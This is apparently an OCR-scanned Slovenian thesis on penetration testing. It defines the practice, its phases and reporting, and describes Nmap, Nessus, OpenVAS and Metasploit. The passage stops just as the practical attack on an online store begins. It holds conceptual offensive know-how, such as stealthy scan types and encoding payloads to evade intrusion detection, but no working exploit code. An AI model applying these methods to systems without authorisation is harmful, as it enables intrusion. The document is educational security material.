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POVZETEK

V zadnjih letih je s Siritvijo interneta narastel tudi raCunalniski kriminal. Tar¢a napadalcev so
tudi informacijski sistemi. Tega se vedno bolj zavedajo podjetja in posamezniki, katerih delo
in zasluzek sta odvisna od nemotenega delovanja informacijske infrastrukture. Z namenom
zascite sistemov je potrebno poiskati in odpraviti njihove ranljivosti, preden jih odkrijejo
zlonamerni napadalci in izkoristijo za vdor. Postopek, ki nam to omogoca, je penetracijski

preizkus informacijskega sistema.

Cilj diplomske naloge je opredeliti penetracijski preizkus, opisati orodja, ki se tekom
preizkusa uporabljajo in z njihovo pomocjo prikazati vdor v informacijski sistem. V
teoreticnem delu je ocena ranljivosti predstavljena kot del penetracijskega preizkusa.
Penetracijski preizkuSevalec je umescen med bele hekerje. Opisane so vrste in stopnje
penetracijskega preizkusa. Predstavljena so orodja za izvajanje preizkusov: Nmap, Nessus,
OpenVAS in Metasploit. Po opravljenem teoreti¢nem delu se ta orodja uporabijo za poizkus
vdora v spletno trgovino. Z uporabo skenerjev ranljivosti se pridobijo informacije o moznih
ranljivostih tega informacijskega sistema, z uporabo primerne izkoriSCevalske kode pa se

doseZe njihovo izkoriS¢enje.

Kljuéne besede: penetracijski preizkus, ocena ranljivosti, bel heker, izkori$¢evalska koda






ABSTRACT

In recent years the expansion of the internet also brought an increase in computer crime. The
targets of the attackers are mostly information systems. Companies and individuals, whose
work and earnings depend on the smooth functioning of the IT infrastructure, are becoming
more and more aware of the problem. In order to protect these systems it is necessary to find
and eliminate their vulnerabilities before malicious attackers find and exploit them in order to
obtain unauthorized access. The process, which enables us to achieve this, is called
penetration testing.

The aim of this thesis is to define the penetration test, describe the tools which are used during
the test and finally use them to demonstrate intrusion into the information system. In the
theoretical part a vulnerability assessment is presented as a part of the penetration test. In this
case the penetration tester is considered to be a white-hat hacker. In the next part types and
phases of a penetration test are described and some tools are presented that enable us to
accomplish the task: Nmap, Nessus, OpenVAS and Metasploit. After the theoretical part these
tools are used for demonstration of an attempt to break into an online store. By using the
vulnerability scanners information about potential vulnerabilities is obtained and then

vulnerability exploitation is achieved by using an appropriate exploit.

Key words: penetration test, vulnerability assessment, white hat, exploit






1 UVOD

Zivimo v dobi globalizacije. DrZave in razli¢ne kulture se povezujejo med seboj intenzivneje

kot kadarkoli doslej. Pomemben dejavnik, ki omogoca to povezovanje so elektronski mediji.

Internet kot medij se uporablja v tolikSni meri, da je postala druzba od njegovega pravilnega
delovanja do dolo¢ene mere celo odvisna. Vedno ve¢ podjetij in organizacij vzpostavlja
spletne aplikacije, ki so namenjene vrsti storitev, od elektronskega trgovanja, pridobivanja

informacij, storitev javne uprave pa do spletnega banc¢niStva in borznega trgovanja.

Za nemoteno delovanje teh storitev je klju¢no odkrivanje njihovih varnostnih pomanjkljivosti,
Se preden jih odkrijejo zlonamerni napadalci in storitve onemogocijo ali pa si z nepooblas¢eno
uporabo le teh pridobijo materialno korist. Ucinkovita ocena varnosti posameznega
informacijskega sistema ne temelji le na varnostnem pregledu in odkritju ranljivosti, ampak

tudi na penetracijskem preizkusu informacijskega sistema.

V diplomskem delu najprej predstavimo proces penetracijskega preizkusa in prikazemo
razliko med delom penetracijskega preizkuSevalca in hekerji. V nadaljevanju pojasnimo,
zakaj se ocena ranljivosti in penetracijski preizkus informacijskega sistema razlikujeta. V
tretjem poglavju opiSemo vrste penetracijskih preizkusov, ki se razlikujejo glede na koli¢ino
podatkov o sistemu, ki jih imajo na voljo preizkusevalci. Cetrto poglavje obsega opis stopenj
penetracijskega preizkusa, ki so del metodologije za dokonanje preizkusa. V naslednjem
poglavju predstavimo nekaj brezplacnih orodij, ki se uporabljajo v posameznih stopnjah

penetracijskega preizkusa. To so orodja Nmap, Nessus, OpenVAS in Metasploit.

V Sestem poglavju prikazemo, kako v praksi poteka penetracijski preizkus. Izvedemo ga na
primeru spletne trgovine in pri tem predstavimo uporabo orodij opisanih v petem poglavju.
PrikaZemo poizkus vdora v sistem od zunaj in nato poizkus vdora iz notranjega omreZja. Pri
tem predstavimo uporabo avtomatiziranih postopkov in na drugi strani ro¢no konfiguriranje

ter izvedbo izkoriS¢evalske kode. V zadnjem poglavju podamo Se kon¢ne ugotovitve.






2 PENETRACIJSKI PREIZKUS

2.1 Kaj je penetracijski preizkus

Penetracijski preizkus (angl. penetration test) je metoda s katero ovrednotimo varnost
raCunalniSkega sistema ali omreZja s simulacijo napada, kot bi ga izvedla zlonamerna
nepooblaS¢ena oseba. Proces vkljuCuje aktiven pregled sistema glede morebitnih slabosti,
tehnicnimi pomanjkljivostmi ali ranljivostmi (angl. vulnerabilities). Pregled je izveden s

staliS¢a moznega napadalca in lahko vkljucuje izkoriS¢anje odkritih ranljivosti sistema.

Pomanjkljivosti, odkrite med penetracijskim preizkusom, predstavimo lastniku sistema skupaj
z oceno mozne Skode za celotno organizacijo ter predlagamo protiukrepe za zmanjSanje

tveganja [4].

Na tem mestu je potrebno pojasniti tudi razliko med penetracijskim preizkuSevalcem (angl.
penetration tester) in hekerjem (angl. hacker). Heker »racunalniske zasCite« je oseba, ki
zaobide zascito in vstopi v racunalniski sistem ne glede na namen. Poznamo tri vrste hekerjev,

ki se razlikujejo glede na namen vdora:

e bele hekerje (angl. white hat hackers),
e  ¢rne hekerje (angl. black hat hackers),
e sive hekerje (angl. grey hat heckers).

Bel heker ali eticen heker z legalnim vdiranjem preizkuSa varnost sistemov z namenom
zascite le teh. Med eticne hekerje spadajo tudi posamezniki, ki izvajajo penetracijske
preizkuse in ocene ranljivosti (angl. vulnerability assessment) informacijskih sistemov

dolocene organizacije v okviru pogodbenega dogovora.

Crn heker, imenovan tudi kreker (angl. cracker), nelegalno vdira v sisteme z namenom
pridobiti materialno korist s krajo podatkov ali Skodovati sistemu z uni¢enjem podatkov in

onemogocanjem dostopa do sistema pooblas¢enim osebam.

Siv heker spada nekje vmes med belega in ¢rnega hekerja. Nelegalno vdira v sisteme vendar
ne z namenom Skodovanja ampak z namenom ozavescanja lastnika sistema in $irSe javnosti o

pomanjkljivi varnosti dolocenega sistema [5].
2.2 Razlika med penetracijskim preizkusom in oceno ranljivosti

Mnogo ljudi, ki se ukvarja z racunalniSko varnostjo, nepravilno uporablja izraz ocena
ranljivosti in izraz penetracijski preizkus kot sopomenki. Ocena ranljivosti je diagnosti¢ni
proces pri katerem se osredotoCimo na iskanje in ocenjevanje moznih ranljivosti v sistemu.

Pri tem lahko uporabljamo avtomatizirana orodja posebej zasnovana za ugotavljanje, ¢e so
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odpravljene vse Ze znane ranljivosti v doloenem racunalniSkem okolju. Pri iskanju ranljivosti

se ustavimo, Se preden ogrozimo delovanje informacijskega sistema.

Med penetracijskim preizkusom dejansko napadamo sistem. S simulacijo hekerjevega
delovanja poizkuSamo te ranljivosti izkoristiti za vdor v sistem in s tem dokazati, da le te v

resnici obstajajo. Pri tem gremo tako dalec¢, kot nam dopusca pogodba [2,6].

Penetracijski preizkus je v primerjavi z oceno ranljivosti draga metoda.



3 VRSTE PENETRACIJSKIH PREIZKUSOV

Penetracijske preizkuse se lahko izvaja na ve¢ nacinov. NajpogostejSa razlika med njimi je
koli¢ina podatkov o podrobnostih izvedbe sistema, ki je na voljo preizkuSevalcem [4]. V

osnovi lo¢imo tri nacine izvedbe penetracijskih preizkusov.
3.1 Testiranje z metodo bele Skatle

Testiranje z metodo bele Skatle je nacin, ko preizkusevalci popolnoma poznajo infrastrukturo
sistema, ki ga preizkuSajo. Imajo dostop do omreznih diagramov, izvorne kode, obsega
naslovov IP in drugih uporabnih informacij. Ta vrsta testiranja se uporablja, ko je Cas
klju¢nega pomena, proracun in $tevilo dovoljenih ur pa omejeno. Taksno testiranje je najmanj

realen prikaz, kaj lahko stori potencialni napadalec.
3.2 Testiranje z metodo ¢rne Skatle

Pri testiranju z metodo ¢rne Skatle nimajo preizkuSevalci predhodno na voljo nobenih
informacij o sistemu. Navadno poznajo samo domeno ali naslov IP spletnega streznika. Pred
zaCetkom analize morajo najprej dolociti lokacijo in obseg sistema. Ta vrsta testiranja najbolj

natan¢no prikaZe delovanje potencialnega zunanjega napadalca, ki sistema ne pozna.
3.3 Testiranje z metodo sive Skatle

Test z metodo sive Skatle je krizanec med testom z metodo bele in metodo ¢rne Skatle. To je
najbolj uporabna vrsta penetracijskega preizkusa. PreizkuSevalci dobijo le omejene
informacije o sistemu in Se te le na zahtevo. Tekom testa se jim postopno poda ve¢ informacij
z namenom hitrejSega zakljucka testiranja. Ta metoda poveca realizem v primerjavi z metodo
bele Skatle, hkrati pa je cenejSa za naro¢nika glede na test z metodo ¢rne Skatle [3]. Posnema

notranji vdor izveden s strani zlonamernega zaposlenega, ki Ze ima omejen dostop do sistema.
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4 STOPNJE PENETRACIJSKEGA PREIZKUSA

Celoten proces penetracijskega preizkusa lahko razdelimo na ve¢ korakov ali stopenj, ki
skupaj tvorijo celovito metodologijo za dokoncanje penetracijskega preizkusa. Uporaba
organiziranega pristopa (metodologije) je potrebna, ker omogoca preizkuSevalcu, da se
osredotoCi na posamezen del in nato rezultate iz vsake stopnje uporabi v naslednjih stopnjah
preizkusa. Z uporabo metodologije zapleten proces raz€lenimo na ve¢ manjsih, bolj

obvladljivih nalog.

Obstaja ve¢ metodologij, ki proces razdelijo na Stiri do sedem stopenj in za stopnje
uporabljajo razli¢na imena, vsem pa je skupno to, da omogocajo popoln pregled nad celotnim

procesom [2].
Tipicen penetracijski preizkus informacijskega sistema je sestavljen iz naslednjih stopen;j:

® nacrtovanje (angl. planning),
e zbiranje informacij (angl. information gathering),
e pridobivanje dostopa (angl. gaining access),

e porocanje (angl. reporting).

Dodatno zbiranje

informacij
Nacrtovanje Zbiranje Pridobivanje
informacij dostopa

Porocanje

\ 4
A

Slika 1: Stopnje penetracijskega preizkusa (Vir:[8])
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4.1 Nacrtovanje

V stopnji nalrtovanja se sestanejo narocnik in ekipa penetracijskih preizkusevalcev.
Dogovorijo se o obsegu in ciljih preizkusa. V ve€ini primerov je cilj preizkusa dokazati, da
znotraj narocnikove omrezne infrastrukture obstajajo ranljivosti, ki se jih lahko izkoristi za
vdor. Obseg preizkusa se doloci z identifikacijo racunalnikov, sistemov in omreZij v podjetju
naroCnika. Del dogovora je tudi oblika porocila v katerem so prikazani rezultati ali izid

preizkusa [7].

V tej fazi se podpiSe tudi razne pravne dokumente, ki $€itijo ekipo preizkuSevalcev pred
posledicami, ¢e bi med testom Slo kaj narobe. PreizkuSevalci se tekom testa sreCujejo z

omejitvami, ki za zlonamernega napadalca ne veljajo. Nekatere izmed teh omejitev so:

e Cas: V realni situaciji ima zlonamerni heker dovolj ¢asa, da temeljito pripravi svoj
napad. Penetracijski preizkuSevalec mora upoStevati zakonske roke, ki so doloceni v
pogodbi, kot tudi delovni Cas organizacije v Kkateri izvaja preizkus. Nobena
organizacija namrec¢ ne Zeli, da zaradi preizkusa ne bi delovale dolocene storitve ali da
bi trpelo njeno poslovanje.

* Druge omejitve: PreizkuSevalec je vezan na pravno pogodbo. Pogodba navaja

sprejemljive in nesprejemljive ukrepe, ki jih lahko uporablja tekom testa [8].
Faza nacrtovanja Se ni zacetek dejanskega preizkusanja.
4.2 Zbiranje informacij

S stopnjo zbiranja informacij se dejansko zacne penetracijski preizkus. Ta stopnja se nadalje

deli na naslednje podstopnje:

¢ sledenje (angl. footprinting),
¢ skeniranje (angl. scanning) in popisovanje (angl. enumeration),

e odkrivanje ranljivosti (angl. vulnerability identification).
4.2.1 Sledenje

Sledenje je proces izdelovanja profila napadene informacijske infrastrukture. V tej stopnji
napadalec preuci podroc¢ja, kot so internet, intranet, ekstranet in moZnosti oddaljenega
povezovanja. Informacije, ki jih zbira, vkljuCujejo registrarna imena domen, dodeljeni obseg
naslovov IP, uporabljene omreZne protokole, podatke o administratorju sistema, naslove

elektronske poste, listo zaposlenih, telefonske Stevilke itd.

Sledenje je pasivna dejavnost, pri kateri se izogibamo nepotrebnim stikom s ciljnim

sistemom. Informacije zbiramo iz javno dostopnih baz na internetu.
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4.2.2 Skeniranje in popisovanje

Skeniranje oz. mapiranje (angl. mapping) omrezja tarCe sestavlja odkrivanje aktivnih

sistemov (delujocih raCunalnikov), strezniskih programov in vrst operacijskega sistema.

Najpogostejsa oblika preverjanja, Ce je na izbranem naslovu IP delujoC racunalnik, je uporaba
ICMP (Internet Control Management Protocol) zahtev »echo« v danem obsegu naslovov IP
[1]. Ko odkrijemo delujoce raCunalnike preverimo katera vrata imajo odprta, zaprta ali

filtrirana in kateri operacijski sistem je nameScen na njih.

Pri popisovanju gre za dejaven stik z napadenim sistemom, kjer kot odjemalec poSiljamo
poizvedbe strezniSkim programom, ki teCejo na operacijskem sistemu tarCe. Pri tem
poizkusamo identificirati verzijo streZzniSkih programov, uporabniske in administratorske

racune ali druge mozne tocke za vstop.
4.2.3 Odkrivanje ranljivosti

Potem ko smo identificirali ciljne raCunalnike in zbrali dovolj informacij o njih, poizkuSamo
dolociti ranljivosti, ki obstajajo na teh racunalnikih. Ranljivost je pomanjkljivost v
programski opremi ali konfiguraciji sistema, ki se lahko izkoristi za vdor. Vecina odkritih

ranljivosti je posledica manjkajocih programskih popravkov [2].

Pri iskanju ranljivosti lahko ro¢no preis¢emo prosto dostopne baze ranljivosti na internetu: na
primer narodno bazo ranljivosti (angl. national vulnerability database) ali pa informacije o
zadnjih odkritih pomanjkljivostih programske opreme poiS¢emo na varnostnih forumih,
blogih, novicarskih skupinah itd. V tej fazi pogosto testiramo spletne aplikacije z vnosom
neveljavnih znakov ali naklju¢nih nizov v vnosna polja. Pri tem preverimo nenadzorovan
odziv aplikacij in sporocila o napakah. Na ta na¢in mnogokrat odkrijemo nove, Se neznane

ranljivosti.

Druga moZnost je uporaba avtomatskih orodij imenovanih skenerji ranljivosti (angl.
vulnerability scanners), s katerimi preisS¢emo racunalnike za znanimi ranljivostmi. Ta orodja

imajo obicajno lastne baze s podrobnimi informacijami o najnovejsih ranljivostih [8].

Priporocljiva je kombinacija tako ro¢nega kot avtomatskega preverjanja sistemov za moZnimi
ranljivostmi. Z ro¢nim preverjanjem odkrijemo nove ranljivosti, ki jih avtomatski skenerji

zgresijo, vendar to zahteva veC predhodnega znanja in potrebnega Casa.
4.3 Pridobivanje dostopa

Pridobivanje dostopa ali napad na sistem je glavna stopnja penetracijskega preizkusa. Tudi to

stopnjo preizkusa lahko delimo Se na dve podstopnji:

¢ izkoriS¢anje ranljivosti (angl. vulnerability exploitation),
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® povecevanje pooblastil (angl. privilege escalation).
4.3.1 Izkorid€anje ranljivosti

IzkoriS¢anje ranljivosti je stopnja, pri kateri poizkuSamo predhodno ugotovljene mozne
ranljivosti izkoristiti za vdor v sistem. Ce nam to uspe, s tem tudi potrdimo obstoj teh

ranljivosti. Za izkoriS€anje ranljivosti uporabimo izkoriScevalsko kodo (angl. exploit).

Izkoris¢evalska koda izrablja varnostno pomanjkljivost v programih in operacijskih sistemih
tako, da omogoc¢i zagon Skodljivega programa oziroma kode. Pri tem uporabi zmogljivosti
napadene programske opreme tako, da ta izvrSi arbitrarno kodo, prebere, kopira ali izdela

datoteke in napadalcu omogoci neavtoriziran dostop v sistem [1].

Pri iskanju primerne izkoriS¢evalske kode imamo na voljo spletne baze, ki nudijo
izkoriS¢evalsko kodo za vecino znanih ranljivosti. Primer take baze je Packet Storm Security.
Obstajajo tudi orodja, kot je na primer Metasploit Framework, ki imajo implementirano lastno
zbirko izkoriS¢evalskih kod. IzkuSeni penetracijski preizkuSevalci pa lahko napiSejo lastno

izkoriS¢evalsko kodo za izkoriS¢enje doloCene ranljivosti.

Pri uporabi izkoris¢evalske kode je potrebno paziti, da ne motimo delovanja napadenega
sistema, oziroma da bi bil sistem pri tem dalj ¢asa nedelujo¢. Nekatera podjetja celo
zahtevajo, da se dolo¢enih odkritih ranljivosti na kritinih sistemih ne sme izkoristiti. Tako
mnogokrat ne testiramo obcutljivosti sistemov na napade za zavrnitev storitve (angl. denial of
service — kratica DoS). Pri DoS napadu gre za posiljanje velikega Stevila zahtev za izvajanje

omreZne storitve, kar lahko povzro€i nedostopnost storitve za uporabnike [9].

V kolikor v prejs$nji stopnji preizkusa na sistemu nismo odkrili nobene ranljivosti, ki bi jo bilo
mogoce izkoristili za vdor v sistem, lahko z dovoljenjem narocnika preizkusa uporabimo tudi
metodo druzabnega inZeniringa (angl. social engineering). V tej zvrsti napada igra glavno
vlogo ¢lovek, ki zaradi pomanjkanja racunalniskega znanja in zaupanja napadalcu omogoci
vstop v omrezje [1]. Pri druZabnem inZeniringu tako preverimo varnostno ozave$¢enost

zaposlenih v podjetju, ki je predmet penetracijskega preizkusa.
4.3.2 Povecevanje pooblastil

Precej pogosto z uspeSnim izkoriS¢enjem ranljivosti in posledi€no vdorom v sistem pridobimo
dostop na ravni navadnega uporabnika. V takem primeru je potrebna nadaljnja analiza, s
katero ocenimo tveganje, ki ga taka ranljivost lahko povzro¢i na napadenem sistemu. Tak
scenarij je prikazan na povratni zanki med stopnjo pridobivanja dostopa in stopnjo zbiranja

informacij.
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Dodatno zbiranje informacij

A 4
Stopnja Stopnja pridobivanja dostopa
zbiranja ali napad na sistem
informacij
Pridobivanje Povecevanje Pregledovanje Namestitev
> dostopa .|  pooblastil N sistema N dodatne
] i g programske
opreme

Slika 2: Stopnja pridobivanja dostopa s povratno zanko do stopnje zbiranja informacij

(Vir:[8])

S pridobitvijo dodatnih informacij o sistemu lahko z uporabo primernih orodij in z izrabo

novo odkritih lokalnih ranljivosti pridobimo administratorske pravice.

PreizkuSevalec v tej fazi poizkuSa izrabiti napaden sistem za napad na druge sisteme v

notranjem omreZju. Seveda pa mora za to dobiti dovoljenje narocnika.
Namen povecevanja pooblastil je pridobitev najvisje ravni dostopa do sistema.
4.4 PoroCanje

Zadnja stopnja v celotnem procesu je porocanje. Lahko se izvaja vzporedno z ostalimi tremi
stopnjami ali pa ob zaklju¢ku stopnje pridobivanja dostopa. Porocanje je najpomembnejSa
stopnja preizkusa, saj narocnik dobi in placa koncno porocilo. Na podlagi porocila naro¢nik

tudi izvede ukrepe za zasc¢ito informacijskega sistema.

Pri izdelavi konCnega poro¢ila moramo upoStevati ciljno publiko; torej sistemske
administratorje kot tudi upravni odbor organizacije. Tehni¢no plat porocila in odkrite
ranljivosti moramo zato ustrezno predstaviti z grafi in slikami ter tako prikazati, kaksen
ucinek imajo lahko na poslovanje podjetja.
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Pripraviti moramo povzetek poro€ila na eni ali dveh straneh, kjer na kratko opiSemo
aktivnosti, ki smo jih izvedli tekom preizkusa, navedemo najbolj kritine ranljivosti in
podamo priporocila za odpravo teh ranljivosti. Na podlagi navedenih odkritij naro¢nik izdela

oceno stroskov izvedbe priporocil.

Popolno porocilo mora vsebovati podroben tehni¢en opis vseh odkritih ranljivosti in
priporocila za njihovo ublaZitev. Vse varnostne luknje, ki smo jih odkrili in uspesno izkoristili
moramo dokumentirati z dokazi: na primer s posnetkom zaslona (angl. screenshot) uspesno
izvedene izkoriSC¢evalske kode. NiCesar ne smemo prepustiti domisljiji narocnika. Natan¢na

dokumentacija prikaZze sposobnost uspeSnega penetracijskega preizkusevalca [8].
Porocilo je tako sestavljeno iz naslednjih komponent:

e povzetka porocila,

e podrobno opisanih odkritij,

® stopnje tveganja odkritih ranljivosti,
¢ ucinka ranljivosti na poslovanje,

e priporocil za ublaZitev ranljivosti.
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5 ORODJA ZA PENETRACIJSKE PREIZKUSE

Orodja so osnova za delo vsakega penetracijskega preizkuSevalca. Pri penetracijskih

preizkusih se uporablja mnozZica razli¢nih orodij, v grobem pa jih delimo v dve skupini:

e orodja za zbiranje informacij ali odkrivanje ranljivosti,

e orodja za izkoriSCanje ranljivosti.

Meja med tema dvema skupinama ni jasno zacrtana, saj lahko orodja za odkrivanje ranljivosti
vsebujejo dolocene funkcije za izkoriS€anje ranljivosti in obratno - orodja za izkori$¢anje teh
ranljivosti vsebujejo tudi poizvedovalni del.

V tem poglavju bomo na kratko predstavili brezplatna poizvedovalna orodja Nmap,

OpenVAS in Nessus ter zbirko orodij za izkoriS€anje ranljivosti Metasploit Framework.
5.1 Nmap

Nmap je verjetno eno izmed najbolj znanih in uporabljanih orodij v penetracijskih preizkusih.
Gre za skener oziroma popisovalnik omrezja, ki ga je razvil Gordon »Fyodor« Lyon in je
prosto dostopen na spletnem naslovu http://nmap.org/. Uporablja se za raziskovanje omreZja

in varnostne revizije.

Orodje omogoca:

odkrivanje delujoc¢ih ra¢unalnikov v omreZju,

e pregledovanje vrat (popis odprtih vrat na enem ali ve¢ raunalnikih),

detekcijo strezniSkih programov, ki posluSajo na odprtih vratih (ime in verzijo
aplikacije),

dolocanje vrste in verzije operacijskega sistema,

doloc¢anje naslova MAC omreZne kartice,

dolocanje vrste filtrov paketa ali poZarnega zidu.

Nmap deluje na vecini operacijskih sistemov kot je Linux, Microsoft Windows, Solaris, Mac
OS X, razliéne verzije BSD. Standardni programski vmesnik je ukazna vrstica (angl.
command prompt). Program je mogoce daljinsko krmiliti preko spletnega vmesnika, obstaja
pa tudi grafi¢ni uporabniski vmesnik imenovan Zenmap.

Program Nmap se uporablja na slede¢ nacin:
Nmap [tip skeniranja] [dodatne opcije] <naslov IP ali spisek naslovov IP >

Kot prvi argument navedemo tip skeniranja. Uporabimo lahko kombinacijo razli¢nih tehnik
skeniranja. Za drugi argument navedemo dodatne opcije skeniranja (obliko izpisa rezultatov,
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izpis rezultatov v datoteko, vrata za skeniranje itd.). Kot zadnji argument navedemo naslov IP

ali spisek naslovov, ki jih Zelimo skenirati.

root : bash

-

-

=1 F -
alp- Qf Eroot : ksrapshot 1 12:41 pm

Slika 3: Osnovni ukazi v programu Nmap

Podprtih je ve¢ tehnik za skeniranje vrat. Nekatere so bolj agresivne in ocitne, druge pa so
bolj prikrite, tako da skeniranja sistemi za zaznavanje vdorov ne opazijo. Glede na izbrano

tehniko skeniranja so lahko tudi vrnjeni rezultati drugacni [10]. Podprte tehnike so:

¢ skeniranje z vzpostavitvijo povezave TCP (angl. TCP connect() scan),
e skeniranje tipa TCP SYN,
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¢ skeniranje TCP ping,

e TCP nicelni tip skeniranja (angl. TCP Null scan),

e skeniranje s paketi TCP FIN,

¢ skeniranje TCP tipa bozicne jelke (angl. TCP Xmas Tree scan),
e skeniranje TCP ACK,

¢ skeniranje TCP z oknom paketa (angl. TCP window scan),
¢ skeniranje TCP RPC,

e skeniranje TCP tipa Maimon,

e skeniranje tipa UDP,

¢ skeniranje FTP bounce,

® skeniranje protokola IP,

e skeniranje SCTP tipa INIT,

¢ skeniranje SCTP tipa COOKIE ECHO.

5.2 Nessus

Nessus je popularen skener ranljivosti podjetja Tenable Network Security. Program z
omejeno funkcionalnostjo je brezplaten za osebno uporabo v domacem okolju (licenca

Nessus HomeFeed). Za pridobitev brezplacne licence se je potrebno registrirati.

Za komercialno uporabo je na voljo licenca Nessus ProfessionalFeed, za katero je potrebno

placati letno naro¢nino 1200 USD.

Namenjen je celovitemu pregledovanju lokalnih ali omreznih racunalnikov za moznimi
ranljivostmi. Med skeniranjem pregleduje vrata in preverja morebitne pomanjkljivosti
programske opreme, ki bi jih bilo mogoce izkoristili za vdor. Nekatere od teh pomanjkljivosti
so zastarela in ranljiva programska oprema, neprimerna konfiguracija (racuni s privzetimi
gesli ali brez gesla), prisotnost tveganih storitev ali prikritih procesov (angl. daemons) itd.
Omogoca preverjanje odpornosti sistema na napade DoS ter testiranje aplikacij, ki za varno
komunikacijo uporabljajo sloj varnih vti¢nic (angl. Secure Sockets Layer — kratica SSL) kot
so https, smtps, imaps itd. Opremiti ga je mogoce s certifikatom, da se lahko vkljuci v

varnostno okolje, ki temelji na javnih kljucih.

Nessus vsebuje poseben skriptni jezik za pisanje napadov NASL (Nessus Attack Scripting
Language) s katerim je mogocCe hitro sestaviti varnostni test, uporabimo pa lahko tudi
programski jezik C. Vsak varnostni test je napisan kot zunanji dodatek (angl. external plugin).

Bazo varnostnih testov (zunanjih dodatkov) je mogoce dnevno posodabljati.

Temelji na arhitekturi odjemalec-streznik. Odjemalec je uporabniSki vmesnik, kjer se
konfigurira nacin skeniranja, dodatke, tare za skeniranje. Ukaze posreduje strezniku in na

koncu skeniranja generira poroCilo z rezultati. V njem so navedene odkrite varnostne
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pomanjkljivosti in nasveti za odpravo le teh. Porocilo je mogoce izvoziti v besedilne datoteke
ter datoteke XML, HTML in LaTeX. Streznik izvaja vsa varnostna skeniranja oziroma

napade. Vsa mreZzna komunikacija med odjemalcem in streznikom je zascCitena.

Odjemalec in streznik sta lahko nameSc¢ena na loCenih racunalnikih in razli¢nih operacijskih
sistemih. Streznik je na primer nameScen na sistemu Linux in odjemalec na sistemu Windows
ali pa sta oba namescena na istem racunalniku in operacijskemu sistemu. Streznik podpira
veCino danasnjih operacijskih sistemov, kot so Windows, Linux, Mac OS X, free BSD,

Solaris. Odjemalec pa poleg Ze naStetih Se mobilni operacijski sistem iOS in Android [1,11].
5.3 OpenVAS

OpenVAS (angl. Open Vulnerability Assessment System) je ogrodje (angl. framework)
sestavljeno iz veC strezniSkih programov in orodij, ki skupaj omogocajo celovito skeniranje
sistema za moZnimi ranljivostmi in ponujajo reSitve za odpravo le teh. Vsi produkti OpenVAS
so brezplacni, vecina pa jih je zaSCitena z odprtokodno programsko licenco GPL (angl.
General Public Licence) [12].

Ogrodje je nastalo kot podveja programa Nessus, ko je ta leta 2005 spremenil odprtokodno
programsko licenco v zaprto in postal komercialen produkt. Iz tega razloga je OpenVAS
mocno podoben programu Nessus. Ravno tako temelji na arhitekturi odjemalec-streznik, ki

zajema vec delov:

e OpenVAS CLI: omogoca upravljanje OpenVAS orodij preko ukazne vrstice.

® Greenbone Security Assistant: je spletni uporabniSki vmesnik, s katerim lahko
nastavimo in spremljamo profile za skeniranje, sprozimo skeniranje ciljnih sistemov in
na koncu kreiramo porocilo.

® Greenbone Security Desktop: je orodje, ki tako kot OpenVAS CLI in Greenbone
Security Assistant omogoc¢a upravljanje OpenVAS orodij preko graficnega vmesnika
na namizju.

e OpenVAS Scanner: izvaja skeniranje ciljnih sistemov z uporabo testov omreZne
ranljivosti (angl. network vulnerability tests — kratica NVT).

e  OpenVAS Manager: je osrednja komponenta ogrodja OpenVAS. Sprejema naloge od
komponente OpenVAS Administrator in komponent za upravljanje (OpenVAS CLI,
Greenbone Security Assistant, Greenbone Desktop Security) in nato dodeljuje naloge
za izvedbo skeniranja komponenti OpenVAS Scanner. Upravlja tudi zbirko podatkov
SQL, kjer so shranjene vse nastavitve programa in rezultati skeniranj.

® OpenVAS Administrator: omogo€a upravljanje z uporabniki in viri (na primer

posodobitvami).
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e NVT's: gre za zbirko testov, ki odkrivajo moZne ranljivosti. Trenutno zbirka vsebuje
vec kot 25000 testov (maj 2012) in jo je moZno dnevno posodabljati.

® Results, Configs: zbirka podatkov SQL z nastavitvami in rezultati.

o
OpenVAS Greenbone Greenbone %
CLI Security Security 3
Assistant Desktop Q.
Ciljni sistemi Y
za skeniranje
. A
/ :
=
d ’
d )
[
[
1 0
NVT's Results, §.
Configs =

Slika 4: Struktura OpenVAS ogrodja (Vir:[12])

Vse komunikacija med komponentami OpenVAS ogrodja je zavarovana z uporabo protokola
SSL. Streznik izvaja skeniranje, odjemalec pa se uporablja za konfiguriranje skeniranja in
dostop do rezultatov. StreZznik deluje samo na operacijskem sistemu Linux in BSD,

odjemalec pa tudi na operacijskem sistemu Windows in Mac OS X.
5.4 Ogrodje Metasploit

Ogrodje Metasploit (angl. Metasploit Framework — kratica MSF) je odprtokodno razvojno
orodje za izdelavo varnostnih orodij ter izdelavo in uporabo zlonamerne kode. Uporablja se za
penetracijske preizkuse in regresijsko testriranje programske opreme [13]. Z njegovo uporabo
dejansko preverimo, e se moZne ranljivosti, odkrite med varnostnim skeniranjem, da

izkoristiti za vdor oziroma povzrocitev Skode informacijskemu sistemu.

Ogrodje je del Metasploit projekta, ki ga je leta 2003 ustanovil H.D. Moore. Leta 2009 je
projekt prevzelo podjetje Rapid7 in poleg brezpla¢nega ogrodja Metasploit, ki je zas¢iteno z
licenco BSD (angl. Berkeley Software Distribution), na trziS¢e dodala Se komercialni razlicici

imenovani Metasploit Express in Metasploit Pro [14].
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Ogrodje Metasploit je napisano v programskem jeziku Ruby, vkljucuje pa tudi komponente
napisane v programskem jeziku C in zbirniku. Deluje na operacijskem sistemu Linux,
Windows in Mac OS X. Vsebuje ze preko 900 primerkov izkoriS¢evalske kode za razli¢ne
operacijske sisteme in se stalno posodablja. Omogoca uvoz rezultatov, ki smo jih pridobili s
skenerji ranljivosti. Nato primerja mozne ranljivosti z izkoriS¢evalsko kodo, ki jo ima na voljo

in izbere najbolj ustrezno za uspesno izvedbo vdora.
Uporaba ogrodja za vdor v sistem poteka preko naslednjih korakov:

1. Izbira in konfiguracija izkoriS¢evalske kode.
Preverjanje ali je ciljni sistem dovzeten za izbrano izkoriS¢evalsko kodo (opcijsko).

3. Izbira in konfiguracija bremena (angl. payload). Breme je koda, ki se bo na sistemu
izvedla po uspeSnem vdoru.

4. lIzbira tehnike kodiranja bremena z namenom, da sistemi za zaznavanje in
prepreCevanje vdorov (angl. Intrusion Detection and Prevention Systems — kratica
IDPS) bremena ne zaznajo.

5. lIzvedba izkoriScevalske kode.
Z MSF je mogoce upravljati preko Stirih uporabniskih vmesnikov:

® msfconsole: interaktivni vmesnik v ukazni vrstici,
® msfcli: neinteraktivni vmesnik v ukazni vrstici;
® msfweb: spletni vmesnik;

® msfgui: graficni vmesnik.

Glavni in najbolj priljubljen je vmesnik msfconsole z lastnim naborom ukazov.

root : .ruby.bin

Slika 5: Ukazna vrstica msfconsole — zacetni zaslon
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6 PRIMER PENETRACIJSKEGA PREIZKUSA

V tem poglavju bomo prikazali penetracijski preizkus na primeru spletne trgovine, ki tece na
